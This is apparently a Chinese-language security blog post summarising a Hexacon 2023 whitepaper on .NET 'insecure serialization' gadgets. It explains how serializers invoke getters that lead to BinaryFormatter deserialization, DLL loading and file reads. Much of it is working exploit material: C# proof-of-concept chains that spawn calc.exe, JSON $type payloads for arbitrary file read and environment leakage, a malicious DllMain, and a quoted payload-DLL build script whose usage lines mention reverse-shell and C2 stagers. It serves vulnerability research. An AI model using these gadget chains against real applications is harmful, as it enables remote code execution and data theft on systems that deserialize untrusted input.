dotnet Insecure Serialization

dotnet Insecure Serialization

前言

https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf

这几天花了点时间认真学习了 @chudyPB 在 Hexacon 2023 分享的议题: Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization

PDF 一共有 124 页, 主要内容如下

  • SolarWinds Platform 的多个反序列化漏洞以及黑名单绕过
  • 多个第三方库的反序列化 Gadget
  • Delta Electronics InfraSuite Device Master MessagePack 反序列化漏洞
  • 引入 “不安全的序列化” (Insecure Serializaion) 这个攻击面, 分享了多个基于 .NET Framework 和第三方库的序列化 Gadget
  • 多个基于. NET Framework 的任意 Getter 调用 Gadget, 然后将其与 “不安全的序列化” 结合, 形成多条新的反序列化 Gadget
  • 多个基于 .NET >= 5 (.NET Core) 的反序列化 Gadget

本文简单记录一下关于 “不安全的序列化” (Insecure Serializaion) 这部分的内容

关于任意 Getter 调用以及新的反序列化 Gadget 这两个部分的内容会放在下一篇文章

攻击面

流程图

不安全的序列化的本质其实就是调用某个 getter, 而 getter 内部存在恶意操作

.NET 的大部分序列化器例如 Json.Net, 在反序列化时只会调用构造函数和 setter, 这一点与 Java 中的 FastJson 不同, FastJson 在某些场景下依然能够实现在反序列化时调用 getter (通过 JSONObject.toString 或 $ref 属性)

不安全的序列化这个概念我感觉更类似于 Ruilin 师傅前几年提出的 “Java 后反序列化漏洞”, 即漏洞本身并不是由反序列化时 readObject 的调用关系而产生, 而是在反序列化拿到对象后, 针对这个对象进行一些其它的操作, 例如 toString/finalize 或者其它方法, 在这些方法中存在一些调用关系, 导致恶意操作, 因此被称为 “后” 反序列化漏洞

http://rui0.cn/archives/1338

https://xz.aliyun.com/t/12459

.NET Framework

SettingsPropertyValue

序列化时触发 BinaryFormatter 反序列化

PropertyValue getter

Deserialize

判断 SerializedValue 的实际类型

  • byte[]: 直接触发 BinaryFormatter 反序列化
  • string: 调用 GetObjectFromString

GetObjectFromString 最终也会触发 BinaryFormatter 反序列化 (需要为上面的 Property 设置 SerializeAs 枚举)

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
using ConsoleApp.Gadget;
using Newtonsoft.Json;
using System.Configuration;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;

namespace ConsoleApp.InsecureSerialization
{
    internal class SettingsPropertyValueDemo
    {
        public static void Main(string[] args)
        {
            TextFormattingRunPropertiesMarshal textFormattingRunProperties = new TextFormattingRunPropertiesMarshal("calc.exe");

            byte[] data;

            using (MemoryStream mem = new MemoryStream())
            {
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                binaryFormatter.Serialize(mem, textFormattingRunProperties);

                data = mem.ToArray();
            }

            SettingsProperty property = new SettingsProperty("test");

            SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(property);
            settingsPropertyValue.Deserialized = false;
            settingsPropertyValue.SerializedValue = data;

            //Console.Write(settingsPropertyValue.PropertyValue);

            JsonSerializerSettings settings = new JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.All,
            };

            JsonConvert.SerializeObject(settingsPropertyValue, settings);
        }
    }
}

作者指出 SettingsPropertyValue 的构造方法可能不适用于 Json.Net 反序列化

报错

1
Newtonsoft.Json.JsonSerializationException: Unable to find a constructor to use for type System.Configuration.SettingsProperty. A class should either have a default constructor, one constructor with arguments or a constructor marked with the JsonConstructor attribute.

另外部分序列化器可能会先调用 Name getter, 导致抛出异常终止序列化过程

SecurityException

序列化时触发 BinaryFormatter 反序列化

Method getter

getMethod

ByteArrayToObject

m_serializedMethodInfo 字段放入 BinaryFormatter 反序列化 Gadget

这条序列化 Gadget 存在一些限制

需要组合两种不同类型的序列化器:

  • 支持 Serializable 特性 (GetObjectData + 特殊反序列化构造函数)
  • 不支持 Serializable 特性/在序列化时优先调用 getter

原因如下

部分序列化器在反序列化恢复字段时会调用 Method setter, 导致覆盖 m_serializedMethodInfo 的内容, 无法触发恶意 Gadget

因此需要某个不完全依赖于 setter 赋值的序列化器, 例如 BinaryFormatter/Json.Net, 都支持调用特殊的反序列化构造函数

其中 m_serializedMethodInfo 字段直接从 SerializationInfo 内取值, 绕过了 Method setter

另外后续序列化时所使用的序列化器应当直接调用 Method getter, 而不是 GetObjectData 方法

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
using ConsoleApp.Gadget;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security;
using System.Web.Script.Serialization;

namespace ConsoleApp.InsecureSerialization
{
    internal class SecurityExceptionDemo
    {
        public static void Main(string[] args)
        {
            TextFormattingRunPropertiesMarshal textFormattingRunProperties = new TextFormattingRunPropertiesMarshal("calc.exe");

            byte[] data;

            using (MemoryStream mem = new MemoryStream())
            {
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                binaryFormatter.Serialize(mem, textFormattingRunProperties);

                data = mem.ToArray();
            }

            SecurityException securityException = new SecurityException();
            typeof(SecurityException)
                .GetField("m_serializedMethodInfo", BindingFlags.Instance | BindingFlags.NonPublic)
                .SetValue(securityException, data);

            //Console.Write(securityException.Method);

            JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
            javaScriptSerializer.Serialize(securityException);
        }
    }
}

CompilerResults

序列化时触发本地 DLL 加载 (Assembly.Load), 类似 AssemblyInstaller

PathToAssembly

CompiledAssembly getter

payload

1
2
3
4
5
{
    "$type": "System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",
    "tempFiles": null,
    "PathToAssembly": "C:\\Users\\Public\\mixedassembly.dll"
}

DLL 需要使用混合程序集 (Mixed Assembly), 参考: https://github.com/noperator/CVE-2019-18935

1
2
3
4
5
6
7
8
9
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        system("calc.exe");
    return TRUE;
}

编译脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
:: Author:   @noperator
:: Purpose:  Compile a uniquely named mixed mode .NET assembly DLL as a payload
::           for exploiting CVE-2019-18935.
:: Notes:    - You may need to adjust the VSPATH variable to point to the path
::             of your Visual Studio installation.
::           - Generates both 32- and 64-bit payloads if no CPU architecture is
::             specified as a second CLI argument.
::           - Writes payloads to the folder specified by the OUTDIR variable.
:: Usage:    .\build-dll.bat <PAYLOAD> [<ARCH>]
::           .\build-dll.bat sleep.c
::           .\build-dll.bat reverse-shell.c x86
::           .\build-dll.bat sliver-stager.c amd64

@echo off

:: Point this to the path of your Visual Studio installation.
set VSPATH=C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build

:: Create directory for compiled payloads.
set OUTDIR=payloads
if not exist "%OUTDIR%" mkdir "%OUTDIR%"

:: Get payload name.
set PAYLOAD=%1
set BASENAME=%PAYLOAD:~0,-2%

:: Get CPU architecture. Generates both if none specified.
set ARCH=%2
if [%ARCH%]==[] set ARCH=x86 amd64

:: Create dummy C# file to consistute managed portion of mixed mode assembly.
echo class Empty {} > empty.cs

:: Compile payload. (set|end)local required to prevent a growing PATH variable
:: from multiple calls to vcvarsall.bat. Otherwise, multiple runs of this
:: script in the same CMD window will eventually fail with: "The input line is
:: too long. The syntax of the command is incorrect."
for %%a in (%ARCH%) do (
    @echo on

    echo.
    echo [*] Set up %%a build environment...
    setlocal
    call "%VSPATH%\vcvarsall.bat" %%a

    echo.
    echo [*] Compile managed code, without generating an assembly...
    csc /target:module empty.cs

    echo [*] Compile unmanaged code, without linking...
    cl /c %PAYLOAD%

    echo.
    echo [*] Link the compiled .netmodule and .obj files, creating a mixed mode .NET assembly DLL...
    link /DLL /LTCG /CLRIMAGETYPE:IJW /out:%OUTDIR%\%BASENAME%-%%a.dll %BASENAME%.obj empty.netmodule

    echo.
    echo [*] Clean up build artifacts and tear down %%a build environment...
    del %BASENAME%.obj empty.netmodule
    endlocal

    dir %OUTDIR%\%BASENAME%-%%a.dll

    @echo off
)

注意自 .NET Framework 4 开始禁止通过 Assembly.Load 加载远程 DLL, 因此需要与写文件 Gadget 结合

第三方库

ActiveMQObjectMessage

位于 Apache NMS ActiveMQ

序列化时触发 Binary Formatter 反序列化, 兼容大多数基于 setter 的序列化器

Formatter 默认使用 BinaryFormatter

2.1.0 版本增加了 TrustedClassFilter (SerializationBinder), 需要指定 Connection.DeserializationPolicy

但是对于序列化 gadget 没有影响, 自己手动构造将 DeserializationPolicy 设置为 null 就行

< 2.1.0 版本

1
2
3
4
{
    "$type": "Apache.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.0.1.0, Culture=neutral, PublicKeyToken=82756feee3957618",
    "Content": "base64encoded-binaryformatter-gadget"
}

>= 2.1.0 版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
    "$type": "Apache.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618",
    "Content": "base64-encoded-binaryformatter-gadget",
    "Connection": {
        "connectionUri": "http://localhost",
        "transport": {
            "$type": "Apache.NMS.ActiveMQ.Transport.Failover.FailoverTransport, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618"
        },
        "clientIdGenerator": {
            "$type": "Apache.NMS.ActiveMQ.Util.IdGenerator, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618"
        }
    }
}

OptimisticLockedTextFile

位于 Amazon AWSSDK.Core

反序列化时可以读取任意文件, 但是需要通过序列化来接收文件内容

Read

读取 FilePath 路径的文件内容, 然后将其保存在 OriginalContents 和 Lines 字段

payload

1
2
3
4
{
    "$type": "Amazon.Runtime.Internal.Util.OptimisticLockedTextFile, AWSSDK.Core, Version=3.3.0.0, Culture=neutral, PublicKeyToken=885c28607f98e604",
    "filePath": "C:\\Windows\\win.ini"
}

序列化时仅会读取 Lines 字段的内容

CustomUri

位于 Castle Core

反序列化时会调用 Environment.ExpandEnvironmentVariables 解析 resourceIdentifier 中的环境变量

同样需要通过序列化来接收数据

1
2
3
4
{
    "$type": "Castle.Core.Resource.CustomUri, Castle.Core, Version=5.0.0.0, Culture=neutral, PublicKeyToken=407dd0808d44fbdc",
    "resourceIdentifier": "C:\\test\\%PATHEXT%"
}

QueryPartitionProvider

位于 Microsoft Azure.Core

在反序列化时触发 Json.Net 序列化, 可以与上面的序列化 Gadget 相结合

利用流程

例如与 ActiveMQObjectMessage 结合

1
2
3
4
5
6
7
8
9
{
    "$type": "Microsoft.Azure.Cosmos.Query.Core.QueryPlan.QueryPartitionProvider, Microsoft.Azure.Cosmos.Client, Version=3.32.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "queryengineConfiguration": {
        "poc": {
            "$type": "Apac he.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.0.1.0, Culture=neutral, PublicKeyToken=82756feee3957618",
            "Content": "base64-encoded-binaryformatter-gadget"
        }
    }
}
0%